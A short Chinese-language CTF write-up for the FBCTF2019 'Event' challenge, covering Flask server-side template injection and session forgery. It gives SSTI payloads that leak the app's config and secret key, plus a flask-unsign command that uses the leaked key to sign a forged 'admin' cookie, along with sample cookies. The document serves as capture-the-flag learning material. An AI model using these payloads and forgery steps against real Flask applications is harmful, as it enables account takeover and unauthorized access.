github编辑

[FBCTF2019]Event

[FBCTF2019]Event

考点

  • Flask SSTI

  • Flask SSTI 获取config

  • Flask session伪造

  • flask-unsign使用

wp

提示登录注册,随便输然后看到是添加event的功能。先看看cookie吧

user=ImFhYWEi.YmPu9w.Q1_mTk2jF7Ix0tBOaceSswpZkgI
events_sesh_cookie=.eJwlzjsOwjAMANC7eO4QO4nj9DJV_BOsLZ0QdweJAzzpveHIM64H7K_zjg2Op8MOGa3qwsGijWYJlOYebJaiIhmGM6L1VOzabM5A81aIZ8rKxWsqFbHBo9ROyhxUuw4fiG6azI2qy8_VwoREZDYHUWXM0hVHgQ3uK85_BuHzBcvqLoU.YmPu9w.dH8qRtgy6eTettBjwAKpWX09AvI

user不知道是什么加密,用flask-unsign只得到了aaaa,这是我的登录名

events_sesh_cookie使用flask-unsign看到内容如下

三个输入都可控,三个位置都试试SSTI,fuzz了一下发现__init__,__class__,__dict__有回显

__class__.__mro__[3].__subclasses__()提示302,使用__class__.__init__.__globals__['app']不行,再用__class__.__init__.__globals__[app]也不行,不知道是不是过滤了关键字,

考虑从config信息中获取secret_key,然后进行session伪造,使用__class__.__init__.__globals__[app].config获取config信息

__class__.__init__.__globals__[app].__dict__可以获取更多flask app的信息

再用flask-unsign加密flask-unsign.exe --secret "fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y" --sign --cookie "admin"

得到ImFkbWluIg.YmP6Ag.7E8dA-A3bqO-TSTpfx76Qo7wdDo

修改cookie中的user字段即可。

最后更新于